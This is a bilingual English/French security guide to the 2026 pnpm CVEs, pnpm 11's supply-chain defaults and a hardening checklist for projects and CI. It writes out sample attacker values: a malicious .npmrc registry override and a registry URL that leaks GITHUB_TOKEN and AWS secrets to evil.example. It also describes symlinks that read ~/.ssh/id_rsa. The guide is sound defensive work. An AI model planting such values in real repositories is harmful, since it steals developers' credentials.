pnpm Security & Hardening in 2026: 8 CVEs, Credential Leakage via .npmrc & the pnpm 11 Supply Chain DefaultsSécurité & Durcissement de pnpm en 2026 : 8 CVE, Fuite d’Identifiants via .npmrc & les Défauts Supply Chain de pnpm 11

pnpm has won the JavaScript package manager race: with roughly 103 million weekly downloads in 2026, it has decisively overtaken the legacy Yarn install path (~8.9 million) and become the default choice for Vue, Vite, Turborepo and Nx monorepos. That success made it a target. In the first half of 2026 alone, the pnpm team shipped fixes for 8 CVEs — including a critical credential leakage flaw (CVE-2026-50017) that silently sends your npm _authToken to an attacker-controlled registry, and CVE-2026-55180, which exfiltrates environment secrets through nothing more than a cloned repository’s .npmrc file. At the same time, pnpm 11 (April 2026) turned on the strongest supply chain defaults of any package manager: a one-day quarantine for new releases, hard-failing unknown install scripts, and blocking exotic transitive dependencies. This guide covers every 2026 pnpm CVE, what the pnpm 11 defaults actually protect you from, and a practical hardening checklist for your projects and CI/CD pipelines.

pnpm a gagné la course des gestionnaires de paquets JavaScript : avec environ 103 millions de téléchargements hebdomadaires en 2026, il a définitivement dépassé l’ancien Yarn (~8,9 millions) et est devenu le choix par défaut des monorepos Vue, Vite, Turborepo et Nx. Ce succès en a fait une cible. Rien qu’au premier semestre 2026, l’équipe pnpm a corrigé 8 CVE — dont une faille critique de fuite d’identifiants (CVE-2026-50017) qui envoie silencieusement votre _authToken npm vers un registre contrôlé par l’attaquant, et CVE-2026-55180, qui exfiltre des secrets d’environnement via un simple fichier .npmrc dans un dépôt cloné. Dans le même temps, pnpm 11 (avril 2026) a activé les défauts supply chain les plus solides de tous les gestionnaires de paquets : une quarantaine d’un jour pour les nouvelles versions, l’échec strict des scripts d’installation inconnus et le blocage des dépendances transitives exotiques. Ce guide couvre chaque CVE pnpm de 2026, ce que les défauts de pnpm 11 protègent réellement, et une checklist de durcissement pratique pour vos projets et pipelines CI/CD.

CVE-2026-50017: Critical Credential Leakage to Attacker-Controlled Registries

CVE-2026-50017 : Fuite Critique d’Identifiants vers des Registres Contrôlés par l’Attaquant

The most severe pnpm flaw of 2026 sits in how pnpm merges user-level and repository-level .npmrc configuration. The attack requires nothing exotic: a victim has a user-level .npmrc with a default registry and an unscoped _authToken — the most common setup for developers publishing to npm. An attacker publishes a repository (a “starter template”, a test case for a bug report, an open source project) containing a local .npmrc with a single innocent-looking line: registry=https://attacker-registry.example. No tokens, no scripts.

La faille pnpm la plus grave de 2026 se situe dans la façon dont pnpm fusionne la configuration .npmrc de niveau utilisateur et de niveau dépôt. L’attaque ne demande rien d’exotique : une victime possède un .npmrc utilisateur avec un registre par défaut et un _authToken non scopé — la configuration la plus courante chez les développeurs qui publient sur npm. Un attaquant publie un dépôt (un « starter template », un cas de test pour un bug report, un projet open source) contenant un .npmrc local avec une seule ligne d’apparence anodine : registry=https://attacker-registry.example. Pas de tokens, pas de scripts.

When the victim runs pnpm install, pnpm parses the unscoped credentials from the merged configuration, stores them as default credentials, then maps them to the effective default registry — which the repository’s .npmrc just changed. The result: pnpm sends the victim’s high-trust npm token as an Authorization: Bearer header to the attacker’s server. With that token, the attacker can publish malicious versions of every package the victim maintains — the exact primitive behind the Mastra and Red Hat scope takeovers earlier this year. The fix shipped in pnpm 10.34.0 and 11.4.0, which isolate credential contexts per registry origin. If you cannot upgrade immediately, replace unscoped _authToken entries with URL-scoped tokens (//registry.npmjs.org/:_authToken=...).

Quand la victime lance pnpm install, pnpm analyse les identifiants non scopés de la configuration fusionnée, les stocke comme identifiants par défaut, puis les associe au registre par défaut effectif — celui que le .npmrc du dépôt vient de modifier. Résultat : pnpm envoie le token npm de confiance de la victime dans un en-tête Authorization: Bearer vers le serveur de l’attaquant. Avec ce token, l’attaquant peut publier des versions malveillantes de tous les packages maintenus par la victime — exactement la primitive derrière les prises de contrôle des scopes Mastra et Red Hat plus tôt cette année. Le correctif est arrivé dans pnpm 10.34.0 et 11.4.0, qui isolent les contextes d’identifiants par origine de registre. Si vous ne pouvez pas mettre à jour immédiatement, remplacez les entrées _authToken non scopées par des tokens scopés par URL (//registry.npmjs.org/:_authToken=...).

The June 26 Advisory Batch: Environment Secret Exfiltration & Approval Bypasses

Le Lot d’Advisories du 26 Juin : Exfiltration de Secrets d’Environnement & Contournements d’Approbation

On June 26, 2026, pnpm published a batch of security advisories, all fixed in pnpm 10.34.2 and 11.5.3. The headline flaw is CVE-2026-55180 (CVSS 7.4): pnpm expanded ${ENV_VAR} placeholders everywhere it found them, including in repository-controlled .npmrc and pnpm-workspace.yaml files. A malicious repository could declare a registry URL like https://evil.example/?token=${GITHUB_TOKEN}&aws=${AWS_SECRET_ACCESS_KEY} — and pnpm would resolve dependencies against it, embedding your live environment secrets in the request. Critically, this happens during dependency resolution, before any script runs, so --ignore-scripts and script-blocking defaults offer zero protection. The patch makes environment expansion trust-aware: project-level config no longer expands ${...} in registry URLs or credential values, while your user-level .npmrc keeps working.

Le 26 juin 2026, pnpm a publié un lot d’advisories de sécurité, toutes corrigées dans pnpm 10.34.2 et 11.5.3. La faille principale est CVE-2026-55180 (CVSS 7.4) : pnpm développait les placeholders ${ENV_VAR} partout où il les trouvait, y compris dans les fichiers .npmrc et pnpm-workspace.yaml contrôlés par le dépôt. Un dépôt malveillant pouvait déclarer une URL de registre comme https://evil.example/?token=${GITHUB_TOKEN}&aws=${AWS_SECRET_ACCESS_KEY} — et pnpm résolvait les dépendances contre elle, intégrant vos secrets d’environnement dans la requête. Point critique : cela se produit pendant la résolution des dépendances, avant l’exécution du moindre script — --ignore-scripts et les blocages de scripts n’offrent donc aucune protection. Le correctif rend l’expansion des variables d’environnement sensible à la confiance : la config au niveau projet ne développe plus ${...} dans les URL de registre ni les valeurs d’identifiants, tandis que votre .npmrc utilisateur continue de fonctionner.

The same batch fixed two approval bypass flaws in pnpm’s newer trust workflow. CVE-2026-55700 (pnpm 11.3.0 to 11.5.2): pnpm stage download derived local filenames from registry-controlled package name and version fields, so approval granted for one source string could authorize a different, attacker-controlled source whose locator normalized to the same value. CVE-2026-55487: the generic peer-suffix normalizer stripped parenthesized text from git, URL, tarball and file locators — again letting an approval for one source silently cover another. Both are locator-normalization bugs: the class of vulnerability where the string a human approves is not the string the machine resolves.

Le même lot a corrigé deux failles de contournement d’approbation dans le nouveau workflow de confiance de pnpm. CVE-2026-55700 (pnpm 11.3.0 à 11.5.2) : pnpm stage download dérivait les noms de fichiers locaux depuis les champs nom et version contrôlés par le registre, si bien qu’une approbation accordée pour une chaîne source pouvait autoriser une source différente, contrôlée par l’attaquant, dont le localisateur se normalisait vers la même valeur. CVE-2026-55487 : le normaliseur de suffixes peer supprimait le texte entre parenthèses des localisateurs git, URL, tarball et file — permettant là encore à une approbation de couvrir silencieusement une autre source. Ce sont deux bugs de normalisation de localisateurs : la classe de vulnérabilité où la chaîne qu’un humain approuve n’est pas celle que la machine résout.

Lockfile Integrity Bypasses: CVE-2026-50573 & CVE-2026-50021

Contournements d’Intégrité du Lockfile : CVE-2026-50573 & CVE-2026-50021

Your pnpm-lock.yaml is supposed to guarantee that what you install today is byte-for-byte what you installed yesterday. Two 2026 CVEs broke that guarantee. CVE-2026-50573 (fixed in 10.34.0 / 11.4.0): when running pnpm install in non-frozen mode, if the downloaded tarball did not match the integrity hash recorded in the lockfile, pnpm would accept the new remote content and update the lockfile instead of failing. A compromised registry or mirror could therefore swap package content and pnpm would quietly bless the change. CVE-2026-50021: the tarball extraction worker skipped integrity verification entirely when the integrity field was absent from a lockfile resolution — meaning an attacker who could remove that field from your pnpm-lock.yaml (a single-line diff that’s easy to miss in review) could serve altered content even under --frozen-lockfile.

Votre pnpm-lock.yaml est censé garantir que ce que vous installez aujourd’hui est identique octet par octet à ce que vous avez installé hier. Deux CVE de 2026 ont brisé cette garantie. CVE-2026-50573 (corrigée dans 10.34.0 / 11.4.0) : lors d’un pnpm install en mode non gelé, si le tarball téléchargé ne correspondait pas au hash d’intégrité du lockfile, pnpm acceptait le nouveau contenu distant et mettait à jour le lockfile au lieu d’échouer. Un registre ou miroir compromis pouvait donc substituer le contenu d’un package et pnpm validait silencieusement le changement. CVE-2026-50021 : le worker d’extraction des tarballs sautait complètement la vérification d’intégrité quand le champ integrity était absent d’une résolution du lockfile — un attaquant capable de supprimer ce champ de votre pnpm-lock.yaml (un diff d’une seule ligne, facile à rater en revue) pouvait servir du contenu altéré même sous --frozen-lockfile.

These flaws mirror the lockfile poisoning patterns we documented in the npm lockfile security guide: the lockfile is a trust anchor, and any code path that silently tolerates a missing or mismatched hash converts it into a false sense of security. After upgrading, add a CI check that greps your pnpm-lock.yaml for resolutions missing an integrity field — legitimate registry packages should always have one.

Ces failles reflètent les patterns d’empoisonnement de lockfile documentés dans notre guide sécurité des lockfiles npm : le lockfile est une ancre de confiance, et tout chemin de code qui tolère silencieusement un hash manquant ou divergent le transforme en faux sentiment de sécurité. Après mise à jour, ajoutez un check CI qui recherche dans votre pnpm-lock.yaml les résolutions sans champ integrity — les packages légitimes du registre en ont toujours un.

The January Flaws: Path Traversal & Symlink Exfiltration

Les Failles de Janvier : Path Traversal & Exfiltration par Symlink

Two earlier CVEs, both published January 26, 2026, round out the year’s picture. CVE-2026-23888 (fixed in 10.28.1) was a path traversal in pnpm’s binary fetcher: malicious ZIP entries containing ../ sequences or absolute paths could escape the extraction root, and the unvalidated BinaryResolution.prefix field could redirect extracted files outside the target directory — a primitive for writing files anywhere the user can write, such as shell profiles or cron entries. CVE-2026-24056 (CVSS 6.7, fixed in 10.28.2) was the inverse: a read primitive. When installing file: or git: dependencies, pnpm followed symlinks without constraining them to the package root. A malicious package containing a symlink to ~/.ssh/id_rsa or /etc/passwd caused pnpm to copy that file’s contents into node_modules — where any later build step, bundler or telemetry can read it.

Deux CVE plus anciennes, toutes deux publiées le 26 janvier 2026, complètent le tableau de l’année. CVE-2026-23888 (corrigée dans 10.28.1) était un path traversal dans le binary fetcher de pnpm : des entrées ZIP malveillantes contenant des séquences ../ ou des chemins absolus pouvaient s’échapper du répertoire d’extraction, et le champ BinaryResolution.prefix non validé pouvait rediriger les fichiers extraits hors du répertoire cible — une primitive pour écrire des fichiers partout où l’utilisateur peut écrire, comme les profils shell ou les entrées cron. CVE-2026-24056 (CVSS 6.7, corrigée dans 10.28.2) était l’inverse : une primitive de lecture. Lors de l’installation de dépendances file: ou git:, pnpm suivait les symlinks sans les contraindre à la racine du package. Un package malveillant contenant un symlink vers ~/.ssh/id_rsa ou /etc/passwd faisait copier le contenu de ce fichier dans node_modules — où n’importe quelle étape de build, bundler ou télémétrie peut ensuite le lire.

pnpm 11: The Strongest Supply Chain Defaults of Any Package Manager

pnpm 11 : Les Défauts Supply Chain les Plus Solides de Tous les Gestionnaires de Paquets

Released in late April 2026, pnpm 11 responded to the year’s wave of npm supply chain worms (TanStack, Miasma, Mastra) by flipping three security settings to on by default:

Publié fin avril 2026, pnpm 11 a répondu à la vague de vers supply chain npm de l’année (TanStack, Miasma, Mastra) en activant trois paramètres de sécurité par défaut :

• minimumReleaseAge: 1440 — newly published package versions are not resolved until they are at least one day old. Nearly every 2026 worm burst (84 TanStack versions in 6 minutes, 300+ AntV packages in 22 minutes) was detected and unpublished within hours; a 24-hour quarantine would have made your installs immune to all of them.
• minimumReleaseAge: 1440 — les versions fraîchement publiées ne sont pas résolues avant d’avoir au moins un jour. Presque chaque rafale de ver en 2026 (84 versions TanStack en 6 minutes, 300+ packages AntV en 22 minutes) a été détectée et dépubliée en quelques heures ; une quarantaine de 24 heures aurait immunisé vos installations contre toutes.
• strictDepBuilds: true — unknown dependency preinstall/postinstall scripts now hard-fail the installation until you explicitly approve them via allowBuilds (which replaces the old onlyBuiltDependencies family of settings with per-package allow/deny rules).
• strictDepBuilds: true — les scripts preinstall/postinstall inconnus des dépendances font désormais échouer l’installation tant que vous ne les approuvez pas explicitement via allowBuilds (qui remplace l’ancienne famille de réglages onlyBuiltDependencies par des règles allow/deny par package).
• blockExoticSubdeps: true — transitive dependencies can no longer resolve from git repositories or direct tarball URLs, closing the path attackers use to hide unexpected code sources deep in the dependency tree.
• blockExoticSubdeps: true — les dépendances transitives ne peuvent plus se résoudre depuis des dépôts git ou des URL de tarball directes, fermant le chemin qu’utilisent les attaquants pour cacher des sources de code inattendues au fond de l’arbre de dépendances.

pnpm also ships trustPolicy: no-downgrade, which refuses to install a version whose trust level has dropped relative to previous releases of the same package, and automatically skips postinstall scripts when it detects a CI environment. Here is a hardened pnpm-workspace.yaml baseline for pnpm 11:

pnpm fournit aussi trustPolicy: no-downgrade, qui refuse d’installer une version dont le niveau de confiance a baissé par rapport aux versions précédentes du même package, et saute automatiquement les scripts postinstall quand il détecte un environnement CI. Voici une base durcie de pnpm-workspace.yaml pour pnpm 11 :

# pnpm-workspace.yaml — hardened baseline (pnpm 11)
packages:
  - "packages/*"

# Quarantine new releases for 3 days (default: 1440 = 1 day)
minimumReleaseAge: 4320

# Fail install on unapproved dependency build scripts (default in v11)
strictDepBuilds: true

# Block git/tarball transitive dependencies (default in v11)
blockExoticSubdeps: true

# Refuse trust-level downgrades between versions
trustPolicy: no-downgrade

# Explicit allowlist for packages that genuinely need build scripts
allowBuilds:
  esbuild: true
  sharp: true
  better-sqlite3: true

The 2026 pnpm Hardening Checklist

La Checklist de Durcissement pnpm 2026

Beyond the pnpm 11 defaults, here is the practical checklist we recommend for every pnpm project and monorepo:

Au-delà des défauts de pnpm 11, voici la checklist pratique que nous recommandons pour chaque projet et monorepo pnpm :

1. Upgrade to pnpm 10.34.2+ or 11.5.3+ now. These versions contain the fixes for all 8 CVEs of 2026, including the critical credential leakage and the June 26 batch. Check with pnpm --version; upgrade with corepack use pnpm@latest or npm install -g pnpm@latest.
2. Passez à pnpm 10.34.2+ ou 11.5.3+ maintenant. Ces versions contiennent les correctifs des 8 CVE de 2026, dont la fuite critique d’identifiants et le lot du 26 juin. Vérifiez avec pnpm --version ; mettez à jour avec corepack use pnpm@latest ou npm install -g pnpm@latest.
3. Scope your registry tokens. Replace unscoped _authToken in your user .npmrc with URL-scoped tokens. This is the workaround for CVE-2026-50017 and simply good hygiene: a token bound to //registry.npmjs.org/ can never be redirected elsewhere.
4. Scopez vos tokens de registre. Remplacez les _authToken non scopés de votre .npmrc utilisateur par des tokens scopés par URL. C’est le contournement de CVE-2026-50017 et une bonne hygiène de base : un token lié à //registry.npmjs.org/ ne peut jamais être redirigé ailleurs.
5. Treat cloned repositories as untrusted input. Before running pnpm install in a repository you didn’t author, inspect its .npmrc and pnpm-workspace.yaml for registry= overrides and ${ENV_VAR} placeholders. CVE-2026-55180 and CVE-2026-50017 both fire before any script executes.
6. Traitez les dépôts clonés comme des entrées non fiables. Avant de lancer pnpm install dans un dépôt que vous n’avez pas écrit, inspectez son .npmrc et son pnpm-workspace.yaml à la recherche de surcharges registry= et de placeholders ${ENV_VAR}. CVE-2026-55180 et CVE-2026-50017 se déclenchent toutes deux avant l’exécution du moindre script.
7. Enforce --frozen-lockfile in CI and verify every lockfile resolution carries an integrity field. Review pnpm-lock.yaml diffs in every PR — a removed integrity line or a changed tarball URL is a red flag, not noise.
8. Imposez --frozen-lockfile en CI et vérifiez que chaque résolution du lockfile porte un champ integrity. Relisez les diffs de pnpm-lock.yaml dans chaque PR — une ligne integrity supprimée ou une URL de tarball modifiée est un signal d’alerte, pas du bruit.
9. Run pnpm audit in your pipeline — it queries the same GitHub Advisory data as npm audit and supports --prod and --audit-level gates. Pair it with continuous lockfile monitoring, because audit only runs when your CI runs: a CVE published on Friday night waits until Monday’s build.
10. Lancez pnpm audit dans votre pipeline — il interroge les mêmes données GitHub Advisory que npm audit et supporte les portes --prod et --audit-level. Associez-le à un monitoring continu du lockfile, car l’audit ne tourne que quand votre CI tourne : une CVE publiée vendredi soir attend le build de lundi.
11. In monorepos, remember the blast radius. One workspace package with a poisoned dependency compromises every other package built in the same pipeline. Catalogs (pnpm’s centralized version definitions) help: one reviewed version bump instead of ten scattered ones.
12. Dans les monorepos, pensez au rayon d’impact. Un seul package de workspace avec une dépendance empoisonnée compromet tous les autres packages construits dans le même pipeline. Les catalogs (définitions de versions centralisées de pnpm) aident : une seule montée de version relue au lieu de dix éparpillées.

Frequently Asked Questions

Questions Fréquentes